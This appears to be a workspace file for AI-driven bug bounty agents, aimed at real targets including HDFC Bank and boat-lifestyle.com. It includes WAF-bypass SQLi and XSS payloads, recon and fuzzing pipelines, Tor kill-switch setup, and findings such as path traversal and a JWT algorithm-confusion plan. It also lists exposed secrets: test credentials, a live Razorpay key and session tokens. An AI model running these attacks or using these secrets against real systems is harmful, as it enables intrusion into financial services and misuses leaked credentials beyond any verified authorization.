# OPencode

[✓] Hunter ONLINE
[✓] Planner ONLINE
[✓] Verifier ONLINE
[✓] Reporter ONLINE
[✓] Debug ONLINE
[✓] Auditor ONLINE
[✓] Recon ONLINE
[✓] Memory 5/5 SYNCED
[✓] Toolchain READY

Boot Time : 1.2 s
Knowledge : 150+ Findings
Agents : 7
Modules : 21
Status : READY

$ ./deploy --all

# ◆ SYSTEM DASHBOARD

| AGENTS | MEMORY | METHODS | FINDINGS |
|---|---|---|---|
| 7 | 5 | 21 | 150+ |
| +1 subagent | units synced | methodologies | 7 targets |

| TOOLS | UPTIME |
|---|---|
| 42 | 99.8% |
| ready | operational |

## AGENT LOAD

| | |
|---|---|
| Hunter | 100% |
| Verifier | 80% |
| Reporter | 60% |
| Planner | 40% |

## PIPELINE STATUS

| | |
|---|---|
| Recon | 100% |
| Exploit | 65% |
| Report | 85% |
| Docs | 90% |

## ◆ ACTIVE AGENTS

| HUNTER | PLANNER | VERIFIER | REPORTER | DEBUG | AUDITOR |
|---|---|---|---|---|---|
| ● ONLINE | ● ONLINE | ● ONLINE | ● ONLINE | ● ONLINE | ● STANDBY |

| RECON |
|---|
| ● ONLINE |

# AGENTS.md — Self-Contained Workspace Bible

**Last updated:** 2026-07-06 **Owner:** sricharansiddu29 (sandeep.enabothula@gmail.com) **Purpose:** Complete portable reference. Copy this file to any device — everything you need is here.

# PART 1: WORKSPACE TOPOLOGY

```
~/
├── AGENTS.md                    ← THIS FILE (everything inlined)
├── session_start.sh             ← Run before every bug hunting session
├── .config/opencode/
│   ├── opencode.jsonc           ← Agent config (7 primary, 1 subagent)
│   ├── agents/                  ← Agent prompt definitions
│   │   ├── hunter.md
│   │   ├── verifier.md
│   │   ├── reporter.md
│   │   ├── plan.md
│   │   ├── debug.md
│   │   ├── recon.md
│   │   └── auditor.md
│   ├── agent_memory/
│   │   ├── hunter.md
│   │   ├── verifier.md
│   │   ├── reporter.md
│   │   ├── plan.md
│   │   └── debug.md
│   ├── common/                  ← 25 methodology files
│   ├── skills/                  ← bug-bounty, dns-recon, js-analysis
│   └── templates/
├── projects/
│   ├── projectx/                ← AI Studio (React+Vite+Express+Gemini)
│   ├── groww-trading-app/       ← NSE stock trading (Python+React)
│   ├── smart-study-assistant/   ← FastAPI+React
│   ├── training/                ← Security training
│   └── go/                      ← Go module cache
├── scripts/                     ← 45+ security automation scripts
│   ├── lostfuzzer.sh            ← gau→uro→httpx→nuclei pipeline
│   ├── naabutonmap.py           ← Naabu→Nmap converter
│   ├── agents_launcher.sh       ← Multi-agent session launcher
│   ├── alienvault.sh            ← OTX URLs
│   ├── wayback.sh               ← Wayback URLs
│   ├── virustotal.sh            ← VT scanner (3-key rotation)
│   ├── urlscan.py               ← URLScan.io client
│   └── dorking.py               ← Google dorking
├── recon_reports/
│   ├── companies/               ← Per-company findings (groww, acko, boat, etc.)
│   ├── bugbase_reports/         ← BUGBASE_*.md
│   ├── verified_findings/       ← READY_* files from verifier
│   ├── rejected_findings/       ← Rejected with reasons
│   ├── plans/                   ← Attack plans
│   └── docs/                    ← Methodology references
├── tools/                       ← nuclei, httpx, naabu, etc.
├── notes/
├── web/                         ← Old forge/node-forge project
└── .proxyenv                    ← Tor proxy env vars
```

# PART 2: OPECODE AGENT SYSTEM

## opencode.jsonc Config

```
{
  "model": "deepseek/deepseek-v4-flash-free",
  "agent": {
    "build": {"mode": "primary", "permission": {"edit": "allow", "bash": "allow"}},
    "hunter": {"mode": "primary"},
    "auditor": {"mode": "primary"},
    "recon": {"mode": "subagent"},
    "verifier": {"mode": "primary"},
    "reporter": {"mode": "primary"},
    "plan": {"mode": "primary"},
    "debug": {"mode": "primary"}
  }
}
```

## Agent Triggers

| COMMAND | ACTION |
|---|---|
| `opencode hunt <target>` | Full LostSec bug bounty hunt |
| `opencode plan <target>` | Strategic attack planning + internet research |
| `opencode verify <finding>` | Zero-false-positive re-check + CVSS |
| `opencode report <finding>` | BugBase-format report generation |
| `opencode debug <issue>` | Error handler, memory manager |
| `opencode audit <codebase>` | Security code audit |
| `opencode memory <agent>` | View/update agent memory |

## Agent Memory Protocol

Each agent reads `~/.config/opencode/agent_memory/<agent>.md` at session start: - **hunter.md** — Last sessions findings, what worked/failed, current live findings - **verifier.md** — Verified & rejected findings per company, urgency priorities - **reporter.md** — BugBase template constraints (120-char title, single URL) - **plan.md** — Successful attack plans, target research - **debug.md** — Known frustration points, cross-agent improvements

# PART 3: HUNTER AGENT (Full Definition)

## Role

Professional bug bounty hunter using LostSec (coffinxp) methodology. Precision recon, deep analysis, surgical WAF bypass.

## Core Pipeline

```
CHAOS → HTTPX → NAABU → NMAP + PARSERS → NUCLEI → FFUF
```

## CRITICAL: CDN/WAF Filtering

Check `httpx -title` output. Skip Cloudflare/Akamai/Fastly IPs. Only scan origin IPs.

## Full One-Liner Pipeline

```
chaos -d target.com -o subs.txt && \
httpx -l subs.txt -ip -silent | sed -nE 's/.*\[([0-9.]+)\].*/\1/p' | sort -u > ip.txt && \
httpx -l ip.txt -title -silent | grep -vi "cloudflare\|akamai\|fastly" | awk '{print $1}' > origin_ips.txt && \
naabu -l origin_ips.txt -top-ports 100 -rate 1500 -verify -silent -o naabu.txt && \
python3 ~/scripts/naabutonmap.py -i naabu.txt && \
cat ip.txt | nuclei -tags cve -bs 200 && \
cat naabu.txt | nuclei -tags cve -bs 200 && \
ffuf -w naabu.txt:URL -w ~/payloads/backup_files_only.txt:FILE -u https://URL/FILE -mc 200 -rate 50 -fs 0
```

## URL Collection Pipeline

```
cat subs.txt | waybackurls | uro > urls.txt
cat subs.txt | gau --subs | uro >> urls.txt
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/<target>/url_list?limit=1000" | jq -r '.url_l-
ist[].url' >> urls.txt
curl -s "https://urlscan.io/api/v1/search/?q=domain:<target>" | jq -r '.results[].page.url' >> urls.txt
curl -s "https://www.virustotal.com/ui/domains/<target>/urls" | jq -r '.data[].id' >> urls.txt
```

## Continuous Probing Cycle (~45s per cycle)

1. All API endpoints — HTTP status + response analysis
2. Method bypass — PUT/PATCH/DELETE/OPTIONS/TRACE
3. SQLi — all payloads with WAF bypass variants
4. LFI — path traversal with encoding variants
5. CORS — origin reflection + credentialed + wildcard
6. SSTI — `{{7*7}}`, `#{7*7}`, `${7*7}`
7. SSRF — callback/webhook + cloud metadata
8. Config files — .env, .git, dump.sql, secrets.json, web.config (50+ paths)
9. Auth bypass — empty/null, X-Forwarded-*, X-Internal-Request
10. Actuator — all 15+ Spring Boot actuator paths
11. IDOR — sequential IDs (1, 2, 100, 1000, 5000, 9999)
12. GraphQL — introspection + query discovery
13. S3 buckets — company-name patterns on AWS
14. JS secrets — Google API keys, Stripe keys, internal endpoints
15. GF pattern classification — open redirect, LFI, SSRF params

## WAF Bypass Arsenal

```
# Before ANY exploitation:
wafw00f https://target.com
# Then try in order:
```

### SQLi WAF Bypass

- Case randomization: `uNiOn SeLeCt`
- Comment injection: `UN/**/ION SE/**/LECT`
- URL encoding: `%55NION %53ELECT`
- Double encoding: `%2555NION`
- Whitespace alternatives: `UNION%0ASELECT`, `UNION%09SELECT`
- Null byte: `%00` before keywords
- HPP: `?id=1&id=2' UNION SELECT 1,2,3--`
- HTTP/2 downgrade: Force HTTP/1.0
- Body padding: Add junk to exceed WAF inspection size
- Chunked encoding: Split payload across chunks
- Newline injection: `%0A` between keywords
- MySQL version comments: `/*!50000UNION*/ /*!50000SELECT*/`
- Parenthesized: `UniOn(SeLeCt(1),(2),(3))`
- Origin IP bypass: bypasses ALL WAF

### XSS WAF Bypass

- HTML entity: `&#60;script&#62;alert(1)&#60;/script&#62;`
- Unicode: `%C0%BCscript%C0%BE` (overlong UTF-8)
- Nested tags: `<svg><script>alert(1)</script></svg>`
- Obscure event handlers: `ontoggle`, `onpointerover`, `onanimationend`
- JS obfuscation: `String.fromCharCode(97,108,101,114,116,40,49,41)`
- atob: `<script>eval(atob('YWxlcnQoMSk='))</script>`
- No-paren: `alert`1``
- Bidirectional overrides: Unicode bidi chars

### Vendor-Specific

| WAF | TECHNIQUE |
|---|---|
| Cloudflare | Obscure event handlers + heavy JS obfuscation |
| AWS WAF | Double/mixed encoding + unconventional whitespace |
| Akamai | Polyglots + SVG/animation vectors |
| ModSecurity/CRS | Case-split keywords + entity-encoded javascript: |
| F5/Imperva | HTTP/2 cleartext injection + request smuggling |

## Recon Phases

### Phase 1: Subdomain Discovery

```
chaos -d target.com -o subs.txt
subfinder -d target.com -all -recursive -silent >> subs.txt
assetfinder --subs-only target.com >> subs.txt
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sed 's/\\n/\n/g' | sort -u >> subs.
txt
```

### Phase 2: Alive Hosts + IP Dedup + CDN Filter

```
httpx -l subs.txt -ip -silent | sed -nE 's/.*\[([0-9.]+)\].*/\1/p' | sort -u > ip.txt
httpx -l ip.txt -title -silent | grep -vi "cloudflare\|akamai\|fastly" | awk '{print $1}' > origin_ips.txt
```

### Phase 3: Port Scanning

```
naabu -l origin_ips.txt -top-ports 100 -rate 1500 -verify -silent -o naabu.txt
```

### Phase 4: Service Detection + Nmap

```
~/scripts/naabutonmap.py -i naabu.txt
nmap-parse-output nmap-out/scan.xml html > scan.html
```

### Phase 5: Vuln Scanning

```
cat ip.txt | nuclei -tags cve -bs 200
cat naabu.txt | nuclei -tags cve -bs 200
```

### Phase 6: Fuzzing

```
ffuf -w naabu.txt:URL -w payloads/backup_files_only.txt:FILE -u https://URL/FILE -mc 200 -rate 50 -fs 0
```

### URL Analysis

```
cat urls.txt | uro | grep -E '\?[^=]+=.+$' > params.txt
gf xss params.txt | httpx -silent | nuclei -tags xss
gf sqli params.txt | httpx -silent | nuclei -tags sqli
gf ssrf params.txt | httpx -silent | nuclei -tags ssrf
gf redirect params.txt | httpx -silent | nuclei -tags redirect
```

## Save Findings

Every finding → `~/recon_reports/companies/<program>/unreported/` with: - Title, severity, timestamp, HASH - Tag `_UNVERIFIED=true` - Full request/response data

## Pro-Tips

1. CDN filtering is MANDATORY
2. Non-standard ports matter — use naabu.txt in nuclei + ffuf
3. 403 is gold — always try bypass techniques
4. Response size/word count analysis — 200 OK can be custom error
5. Parse nmap output — XML is unreadable, convert to HTML
6. IP dedup before scanning — sort -u first

# PART 4: HUNTER AGENT MEMORY

## Mistake: 2026-07-05 — Anonymity Stack Deployment Crashed Internet

- **Error**: Deployed anonymity stack without verification. Tor config had deprecated options (NumEntryGuards, NumDirectoryGuards, DNSListenAddress). iptables OUTPUT policy set to DROP but never verified. UFW allowed port 443 for Tor bootstrap but defeated kill switch.
- **Fix**:
- Always `tor --verify-config` BEFORE restarting Tor
- Always verify iptables with `iptables -L | head -5`
- Never use `ufw allow out to any port 443` — use `-m owner --uid-owner debian-tor`
- Deploy kill switch LAST after confirming Tor proxy works
- **Prevention Checklist**:
- `tor --verify-config`
- `ss -tlnp | grep 9050`
- `proxychains4 curl https://check.torproject.org/`
- `iptables -L OUTPUT | head -1`
- Test direct blocked AFTER confirming Tor works
- Keep root shell with `sudo ufw disable` as emergency rollback
- Never `ufw allow out to any port 443`

## Infrastructure Deployment Safety Reference

```
STEP 1: CONFIGURE (firewall OFF)
  ├── Write torrc with valid options only
  ├── RUN: tor --verify-config  ← MUST pass
  └── RUN: sudo systemctl restart tor@default

STEP 2: VERIFY TOR ALONE
  ├── RUN: ss -tlnp | grep 9050
  ├── RUN: proxychains4 curl https://check.torproject.org/
  └── RUN: proxychains4 curl https://httpbin.org/ip

STEP 3: CONFIGURE FIREWALL (only after Tor verified working)
  ├── Use iptables with -m owner --uid-owner $(id -u debian-tor)
  ├── NEVER `ufw allow out to any port 443`
  └── VERIFY: sudo iptables -L OUTPUT | head -1

STEP 4: TEST KILL SWITCH
  ├── RUN: curl -s --max-time 3 https://httpbin.org/ip  (FAIL)
  └── RUN: proxychains4 curl -s https://httpbin.org/ip  (WORK)

STEP 5: EMERGENCY ROLLBACK
  ├── sudo systemctl reset-failed tor@default
  ├── sudo ufw disable
  └── sudo iptables -P OUTPUT ACCEPT
```

### Config Validation Rules

| WHAT | COMMAND |
|---|---|
| Validate Tor config | `tor --verify-config` |
| Check Tor listening | `ss -tlnp \| grep 9050` |
| Check Tor routing | `proxychains4 curl https://check.torproject.org/` |
| Check iptables policy | `iptables -L OUTPUT \| head -1` |
| Emergency disable | `sudo ufw disable && sudo iptables -P OUTPUT ACCEPT` |
| Tor user UID | `id -u debian-tor` |

### Options that CRASH Tor 0.4.5.x

```
NumEntryGuards         ← DEPRECATED - crashes
NumDirectoryGuards     ← DEPRECATED - crashes
```

```
DNSListenAddress       ← WRONG SYNTAX - use DNSPort 127.0.0.1:5353
ExcludeSingleHopRelays ← OBSOLETE
CircuitStreamTimeout   ← Only in newer Tor
```

## Current Session: 2026-07-06 (HDFC Phase 2 Recon)

### In-Scope Assets (HDFC BugBase - Private)

1. **Netbanking Rewrite**: `https://nb-nextgen-security.hdfcbank.com/retail-app/` (returns 301)
2. **Lastmile Web**: `https://lastmilewebuat.hdfcuat.bank.in/IndiaLinkWeb/` (Indialink 2.0 login)
3. **CBX Web**: `https://cbxuat.hdfcbank.com:444/cbx/` → redirects to `https://cbxuat.hdfcuat.bank.in:444/cbx/`
4. SME Web (VPN needed)
5. CorpCards (VPN needed)
6. ENET CorpSSL (VPN needed)
7. BizExpress (VPN needed)
8. CLO (VPN needed)

### Technology Stack

| TARGET | TECH | WAF | NOTES |
|---|---|---|---|
| Netbanking Rewrite | nginx/Keycloak | F5 BIG-IP ASM | `/retail-app` 301; CSP default-src 'self'; Keycloak realm `retail` |
| Lastmile Web (Indialink 2.0) | Oracle WebLogic | F5 BIG-IP | X-ORACLE-DMS-ECID; AES-GCM client encryption |
| CBX Corporate Netbanking | Oracle WebLogic + OTL | F5 BIG-IP + Netscaler + custom OTL | Anti-tamper JS v1.21.4.26; `NSC_ESNS` cookie (15s) |
| ENET | IBM HTTP Server 8.5.5 + Struts2/Java | F5 BIG-IP Volterra | `x-volterra-location: mb2-mum`; IBM HTTP Server 8.5.5 CONFIRMED |

### Key Discovery Paths

#### CBX (Corporate Netbanking)

- **OTL Anti-Tamper Bypass**: `fetch()` API bypasses OTL completely (XHR only)
- **OTL Whitelisted Endpoints** (no tamper wrapping): `forgotpassword`, `postlogingeneratesalt`, `transactionCode`
- **Potential Path Traversal**: `/cbx/..%252f` returns 500 (double-encoded)
- **CSP connect-src allows localhost SSRF**: `https://localhost:9999`, `https://localhost:19999`, `https://localhost:29999`
- **Error Codes**: -1513 (suspended), -1514 (blocked), -1504 (inactive), -1501 (OTP blocked), -1502 (incorrect OTP)
- **Login**: `/cbx/CBXLogin.jsp` → `/cbx/iportal/jsps/errorPage/genericErrorPage.jsp` (requires proper session)
- **Paths found**: `/cbx/iportal` (302), `/cbx/IbsJsps` (302), `/EntlWeb/js/common/common.js`, `/EntlWeb/orbi-one/style.css`

#### Indialink 2.0 (Lastmile Web)

- **Login**: `/IndiaLinkWeb/onlinetransfer/secure/login.jsp`
- **Login Action**: `/IndiaLinkWeb/onlinetransfer/secure/LoginAction.jsp` (POST redirects to login.jsp on failure)
- **Form Fields**: `entityId`, `userId`, `password`, `passwordENC` (encrypted), `captchaEntered`, `formid` (-1139150440), `groupId` (RGEX)
- **Client-Side Encryption**: AES-GCM with forge library; 8-byte random key+IV; static additionalData 'LM'; format: key+iv+tag(b64)+encrypted(b64)
- **CAPTCHA**: `/IndiaLinkWeb/CaptchaLoader` (PNG 150×50)
- **Forgot Password**: `/IndiaLinkWeb/onlinetransfer/secure/admin/corporateForgetPassword.jsp`
- **JS Files**: `aes.js`, `AesUtil.js`, `commonValidation.js`, `rgRequestEncoder.js`, `custom.js`, `customIndex.js`, `virtualKeyboard.js`, `forge.min.js`, `app.secure.js`
- **Pattern**: All URLs use version query param `?v=1783064730387`

### Saved Findings

- `~/recon_reports/companies/hdfc/unreported/CBX_OTL_Bypass_fetch_API_*.md`
- `~/recon_reports/companies/hdfc/unreported/CBX_OTL_Deep_Analysis_*.md`

- `~/recon_reports/companies/hdfc/unreported/CBX_Path_Traversal_500_*.md`
- `~/recon_reports/companies/hdfc/unreported/CSP_SSRF_CBX_*.md`
- `~/recon_reports/companies/hdfc/unreported/Indialink_Client_Side_Encryption_*.md`
- `~/recon_reports/companies/hdfc/unreported/Tech_CBX_BigIP_*.md`
- `~/recon_reports/companies/hdfc/unreported/Tech_Netbanking_Rewrite_*.md`

### Netbanking Rewrite (Backbase Angular SPA)

**Client ID:** bb-web-client (public, PKCE-required) **Keycloak Realm:** retail `https://nb-nextgen-security.hdfcbank.com/auth/realms/retail/` **OIDC Config:** `/.well-known/openid-configuration` **JWKS URI:** `/protocol/openid-connect/certs` **API Gateway:** `api-nb-nextgen-security.hdfcbank.com` (internal - returns 000) **Backend:** `retail-web-nb-nextgen-security.hbctxdom.com` **API Proxy:** `/retail-app/gateway`, `/retail-app/api` (return SPA, not raw API) **CSP connect-src:** `api-nb-nextgen-security.hdfcbank.com` + `retail-web-nb-nextgen-security.hbctxdom.com` **Auth Required:** PKCE S256 code_challenge_method; `password` grant not allowed for `bb-web-client`

### 168 API Endpoints Found in main.js (2.6MB)

| CATEGORY | KEY ENDPOINTS |
|---|---|
| **Cards** | `/debit-cards/blockcard`, `increaseLimit`, `reissue-debit-card`, `request-pin/green-pin`, `request-pin/instant-pin`, `request-pin/physical-pin`, `fetch-limits`, `redeem-rewards`, `upgrade-debit-card`, `dcemi/`, `inquire-pin-options`, `inquire-rewards`, `link/accounts`, `transaction-consent-form` |
| **Payments** | `/contacts/payee/add/isAllowed`, `/contacts/payee/delete`, `/contacts/payee/update`, `/contacts/payee/validateAccount`, `/contacts/payee/validate/international`, `/contacts/payee/validatePayeeName`, `/contacts/payee/beneNpciLookup`, `/contacts/payee/otherBankIdentifiers`, `/contacts/payee/custom/limit`, `/contacts/transfer` |
| **Accounts** | `/account/`, `/arrangements/primary-account`, `/arrangements/casa/refresh`, `/arrangements/epa/arrangements`, `/arrangements/mmid/`, `/external-accounts`, `/account/statements/download` |
| **Deposits** | `/deposits/`, `/loans`, `/interest-certificates/configuration` |
| **Config** | `/configuration/genericparams/`, `/configuration/masking-patterns`, `/configuration/countries`, `/configuration/nominee-relations`, `/configuration/error-details/batch/retrieval` |
| **Security** | `/biocatch/bind`, `/user-masked-profile`, `/user-masked-profile-ext`, `/error-messages/mfa`, `/e2e-nb-jwk` |
| **Admin** | `/accessgroups/users/permissions/summary`, `/accessgroups/users/user-privileges`, `/kavach/cs-user-status`, `/setup/features`, `/config/features` |
| **Services** | `dis-configuration-service`, `dis-encrypt-decrypt-service`, `dis-login-service`, `dis-mfa-auth-service` |
| **Statements** | `/account/statements`, `/account/statements/archive`, `/account/statements/categories`, `/account/statements/preferences` |

### ENET (Corporate Banking - Struts/Java + IBM HTTP Server 8.5.5)

- **URLs:** `https://hbenetinterap.hdfcuat.bank.in/EnetSSL/` + `/EnetMVC/`
- **Web Server:** IBM HTTP Server 8.5.5 (End of Support Sep 2020, based on Apache 2.4.x)
- **App Server:** Struts2/Java with Dynamic Method Invocation (dynamethod parameter)
- **Login action:** `core.login.autopwdldngpag.do` (Struts)
- **Form fields:** userId, password, encryptpassword, authrandom, salt, hash1, hash2, captcha, groupId
- **JS:** md5.js, SHA512.js, sInn_sec.js, QICBSCommonVal.js, AppCommonVal.js
- **CSP:** `default-src 'self' 'unsafe-inline' 'unsafe-eval'` (very permissive)
- **Internal IP leak:** `172.21.15.188:443` in CORS policy (+ credentialed=true)
- **Same localhost SSRF:** connect-src localhost:9999/19999/29999
- **Paths:** `/EnetSSL/login.do` (200), `/EnetSSL/jsp/CommonJsp/Session.jsp` (500), `/EnetSSL/jsp/CommonJsp/logon.jsp` (200), `/EnetSSL/jsp/CommonJsp/ForgotPwdDetails.jsp` (200), `/EnetSSL/captcha.png` (200), `/EnetMVC/` (200), `/EnetMVC/core.login.autopwdldngpag.do` (200)
- **Apache paths:** `/server-status` (403 = EXISTS!), `/icons/` (403), `/cgi-bin/` (403)
- **hashrand:** Dynamic (changes per request), not hardcoded as previously thought
- **OTP:** Any 6-digit for UAT
- **Forgot Password:** 4 Struts DMI endpoints exposed publicly:
- `core.forgetpwd.showoptions.do?dynamethod=showPwdReqOptions`

- `core.forgetpwd.showoptions.do?dynamethod=checkPrevReq` (returns "0" for no prior requests)
- `core.forgetpwd.forgetpwdmig.do?dynamethod=getcbxdomstatus` (returns `{"domainStatus":""}`)
- `core.forgetpwd.forgetpwdmig.do?dynamethod=showPwdReqOptions`
- **Domain 'HDFCBANK' explicitly blocked** in forgot password (others accepted)

### SME CLO UAT

- **URL:** `https://smeclouat.hdfcbank.com/clouat9/cloportal/#/rm-journey`
- **Status:** 503 (no healthy upstream - service down)
- **CSP bypass:** `connect-src 'self' blob: *` (wildcard!)
- **Custom methods:** RDSERVICE, DEVICEINFO, CAPTURE
- **Partners:** Perfios (demo03.perfios.com), Anumati (uat-web.anumati.co.in)

### Latest Session (2026-07-06) - New Critical Discoveries

#### ENET Struts2 Path Traversal (CONFIRMED)

- **`/EnetMVC/../` returns 200** - IBM HTTP Server 8.5.5 welcome page (3598 bytes)
- Traversal depth unlimited: `../../../` all work (return same welcome page)
- Can access: index.html, css, images, other webapps via traversal
- **Cannot access**: system files (/etc/passwd → 404), WEB-INF (404), conf/ (404)
- `.htaccess` at root returns 403 (confirmed present)

#### CBX Double-Encoded Path Traversal

- `..%252f` → **500** (server processes double-decode but errors)
- `..%252f/WEB-INF/web.xml` → **000 timeout** (server hangs at 10s)
- `..%252f/META-INF/MANIFEST.MF` → **000 timeout** (server hangs)
- Pattern: directory traversal = 500 fast fail, file traversal = 000 timeout (crash/hang)

#### Netbanking Keycloak OIDC Deep Analysis

- All grant types supported INCLUDING password grant (though `bb-web-client` blocks it)
- **JWT algorithm confusion risk**: HS256/HS384/HS512 listed alongside RS256/RS384/RS512
- **Userinfo supports "none" algorithm** - potential forgery
- **Token introspection**: 403 "Client not allowed" for bb-web-client
- **Token revocation**: HTTP 200 (works for any client_id)
- **Device grant**: Disabled for bb-web-client
- **PAR (Pushed Authorization Requests)**: 401 - requires auth
- Only 1 confirmed client: `bb-web-client` (public, PKCE S256)
- Single JWKS RSA key: kid=`3z_YuBHeFSxGJ4oWxqiXaSCMxyCeVQaPg0fxv-JH6K4`

### Next Steps

1. ✅ **ENET path traversal exploited** - saved finding
2. ✅ **CBX double-encoded traversal tested** - saved finding
3. ✅ **IBM HTTP Server 8.5.5 confirmed** via welcome page
4. ✅ **ENET ForgotPassword analyzed** - 4 Struts DMI endpoints found
5. ✅ **Keycloak OIDC deep analysis** - JWT alg confusion, password grant supported
6. ⬜ **Mobile APKs** from BugBase: download and decompile for secrets
7. ⬜ **JWT algorithm confusion PoC** - try HS256 with JWKS public key
8. ⬜ **SME CLO recheck** when service recovers
9. ⬜ **Collect HDFC trajectories** → retrain SkillOpt for v2

### HDFC Test Credentials (Static on UAT)

- Cust ID: **192598026** / Password: **hdfcbank1** (Netbanking Rewrite)
- OTP: 123456 (BizExpress/Netbanking Rewrite), any 6-digit (Lastmile/CLO)
- PAN: ABCDE1234F (CLO)

## Saved Findings (28 files - updated 2026-07-06)

`~/recon_reports/companies/hdfc/unreported/`:

**New This Session (2026-07-06):**

- `ENET_Struts2_Path_Traversal_IHS_Disclosure_*.md` — Path traversal via `/EnetMVC/../` + IHS 8.5.5 confirmed
- `ENET_Public_ForgotPassword_Struts_DMI_*.md` — Forgot password page + 4 Struts DMI endpoints exposed
- `CBX_Double_Encoded_Path_Traversal_*.md` — Double-encoded traversal (500 for dirs, 000 timeout for files)
- `Netbanking_Keycloak_OIDC_Deep_Analysis_*.md` — Full Keycloak config analysis, JWT alg confusion risk

**Previous Sessions:**

- `Netbanking_API_Endpoints_*.md` — 168 API endpoints
- `Netbanking_Keycloak_Config_Exposed_*.md` — OIDC config leak
- `ENET_Internal_IP_Leak_CORS_*.md` — 172.21.15.188 leak
- `ENET_Login_Hash_Reverse_Engineered_*.md` — Full hash computation (dated - hashrand is dynamic)
- `ENET_Struts2_Dynamic_Methods_*.md` — Struts DMI endpoints discovered
- `ENET_Captcha_SQLi_Error_Analysis_*.md` — Captcha bypass attempts
- `ENET_Hardcoded_Hashrand_*.md` — (superseded - hashrand is dynamic per request)
- `ENET_Login_Flow_Analysis_*.md` — Login flow mapping
- `CBX_OTL_Bypass_fetch_API_*.md` — fetch() bypasses OTL
- `CBX_OTL_Deep_Analysis_*.md` — Full OTL JS analysis v1.21.4.26
- `CBX_Path_Traversal_500_*.md` — Initial ..%252f finding
- `CBX_iportal_Accessible_Assets_*.md` — Static asset enumeration
- `CBX_Deep_Traversal_Analysis_*.md` — Traversal behavior mapping
- `CSP_SSRF_CBX_*.md` — localhost SSRF vector
- `CVE-2026-21962_WebLogic_Testing_*.md` — WebLogic proxy RCE test
- `Indialink_Client_Side_Encryption_*.md` — AES-GCM analysis
- `Tech_CBX_BigIP_*.md`, `Tech_Netbanking_Rewrite_*.md` — Tech fingerprints
- `Netbanking_Rewrite_Actuator_Analysis_*.md` — Actuator fake SPA handler
- `Captcha_Bypass_and_Login_Attempts_*.md` — Login attempt results

## Last Session: 2026-07-05 (Exploitation Session)

### What Worked

1. Mendix XAS get_session_data: Extracted full app metadata including 15+ constants
2. Razorpay Live Key Discovery: Found `rzp_live_RRhHz0hI9pCEfg` in D2D.RKey constant
3. Apache on 443 (no TLS): Confirmed test.boat-lifestyle.com serves HTTP on HTTPS port
4. Laravel Nova Detection: Found Nova admin panel on crewx.boat-lifestyle.com
5. mix-manifest.json: Full Laravel asset map (186KB) publicly accessible
6. SOAP Endpoints: Confirmed /ws/ handler active on Mendix
7. 4 new BugBase reports written: 005 (CRITICAL), 006 (HIGH), 007 (MEDIUM), 008 (MEDIUM)

### What Failed

1. Mendix Anonymous role cannot execute microflows or read entities
2. Crewex admin 403: ALL bypass techniques failed
3. Crewex login: 419 CSRF timeout (cookie/token mismatch)
4. Razorpay API: key_secret not found (only key_id)
5. S3 buckets: boat-files fully locked down
6. Mendix SOAP: All 30+ guessed service names returned "Unknown service"

### Current Live Findings (boat-lifestyle.com)

1. S3 PII Leak (CRITICAL, CVSS 9.6) - 83 PDFs exposed
2. Razorpay Live Key Exposure (CRITICAL, CVSS 9.1)
3. Apache no TLS test.boat-lifestyle.com (HIGH, CVSS 7.5)

4. Warranty Test PDFs (HIGH)
5. Mendix Constants Exposure (MEDIUM)
6. Crewex Admin API (MEDIUM)
7. Mendix SOAP/REST (MEDIUM)
8. OTP Rate Limit (MEDIUM)
9. GraphQL Introspection (MEDIUM)

### Key Assets

- Razorpay: `rzp_live_RRhHz0hI9pCEfg` (needs key_secret)
- Crewex CSRF: `t827nhHSgwwJwBWnveGP2d27BHBBhYlDhnNPYh27`
- Mendix Session: `__Host-XASID=0.90188a77-1eed-4211-860d-a30588bf8fed`
- Crewex Apache: 2.4.52 Ubuntu

---

# PART 5: VERIFIER AGENT (Full Definition)

## Role

Zero-false-position vulnerability verifier. Quality gate. If you cant reproduce it confidently, REJECT IT.

## Verification Protocol

### Step 1: Scope & Policy Check

- Read SCOPE_POLICY.md
- Confirm endpoint IN SCOPE
- Confirm testing does NOT violate program rules

### Step 2: Baseline Capture

```
curl -s -o /dev/null -w "%{http_code}" "https://target.com/endpoint?param=innocent"
curl -s "https://target.com/endpoint?param=innocent" > baseline.txt
```

### Step 3: PoC Re-Request

```
curl -s -o /dev/null -w "%{http_code}" "https://target.com/endpoint?param=MALICIOUS_PAYLOAD"
curl -s "https://target.com/endpoint?param=MALICIOUS_PAYLOAD" > exploit_response.txt
```

### Step 4: Response Diff Analysis

- Status code change?
- Response length change?
- Content-Type change?
- Body content contains indicator?

### Step 5: Reproducibility (3-request rule)

```
for i in 1 2 3; do
  curl -s -o /dev/null -w "%{http_code}" "https://target.com/endpoint?param=PAYLOAD"
  sleep 0.5
done
```

Must reproduce 2/3. If not → REJECT as transient.

### Step 6: Vuln-Specific Confirmation

| VULN TYPE | CONFIRM VIA | FALSE POSITIVE SIGNS |
|---|---|---|
| SQLi | Error has SQL syntax / information_schema / delayed | Generic "An error occurred" |
| XSS | Playwright executes JS | `<` becomes `<` |
| Reflected XSS | Payload unescaped + browser executes | `<` becomes `<` |
| DOM XSS | Playwright confirms alert() fires | Regex check cant confirm DOM |
| SSRF | Callback received OR internal data in response | Payload echoed back |
| LFI | /etc/passwd visible | Only error message |
| SSTI | `{{7*7}}` returns "49" | Raw string `{{7*7}}` |
| CORS | ACA-Origin echoes custom origin | Wildcard or no ACA headers |
| Auth Bypass | Protected data returned without valid auth | Same as unauthed response |
| IDOR | Different users data returned by changing ID | Same data regardless of ID |
| Config Leak | Contains actual secrets (not just file header) | File empty or template |
| Open Redirect | Browser redirects to external URL | Returns 200 with link no redirect |
| GraphQL | Schema returned with type definitions | Only `{"errors"}` or empty |

### Step 7: Browser Validation (XSS)

```
# Use Playwright to confirm actual JS execution
# If alert() fires → confirmed
```

### Step 8: False Positive Signature Check

Dismiss if: - Payload only in error message (not page context) - Payload is HTML-escaped - Server returned 403/400/WAF block - Endpoint is test/sandbox not production - Content-Type changed (HTML→JSON = error handling) - Same data regardless of payload (parameter ignored)

### Step 9: CVSS Scoring (CVSS 3.1)

- **Critical (9.0-10.0)**: RCE, SQLi extraction, auth bypass admin, SSTI, LFI sensitive files
- **High (7.0-8.9)**: SSRF, CORS+credentials, IDOR PII, actuator /env
- **Medium (4.0-6.9)**: CORS wildcard, open redirect, actuator info
- **Low (1.0-3.9)**: Stack traces, missing headers
- **Informational (0.0)**: Subdomains, open ports

### Step 10: Decision

| CONFIDENCE | VERDICT | ACTION |
|---|---|---|
